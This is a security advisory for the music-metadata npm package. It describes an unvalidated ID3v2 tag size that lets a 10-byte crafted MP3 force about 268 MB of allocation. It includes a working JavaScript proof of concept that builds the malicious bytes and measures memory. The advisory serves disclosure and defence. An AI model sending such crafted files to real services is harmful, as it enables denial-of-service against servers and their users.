Vulnerability GHSA-jjpr-9cvf-cq55
Summary
music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS
Details
Summary
The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.
PoC
Complete reproduction steps:
import { parseBuffer } from 'music-metadata';
// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, // "ID3" identifier
0x04, 0x00, // Version 2.4.0
0x00, // Flags (no unsync, no extended header, etc)
0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes)
// File ends here - truncated
]);
console.log('Input file size:', maliciousFile.byteLength, 'bytes');
try {
const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
console.log('✓ Parse succeeded (no error thrown)');
console.log('✓ Metadata returned:', metadata);
console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
console.error('✗ Unexpected error:', error.message);
}
To demonstrate memory impact:
Run with node --expose-gc to monitor allocations:
// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
0x7f, 0x7f, 0x7f, 0x7f
]);
// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();
console.log('Memory before:', {
heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});
const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;
const after = process.memoryUsage();
console.log('Memory after:', {
heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});
console.log('Parse time:', duration.toFixed(2) + ' ms');
console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');
Expected output:
Input file size: 10 bytes
✓ Parse succeeded (no error thrown)
✓ Metadata returned: { format: {}, common: {}, native: {} }
⚠️ ~268 MB was allocated despite only 10 bytes of input
Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' }
Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' }
externalDelta: 256.00 MB
Parse time: 15.23 ms
Result: ⚠️ LARGE ALLOCATION
Related Vulnerabilities
Other vulnerabilities affecting the same packages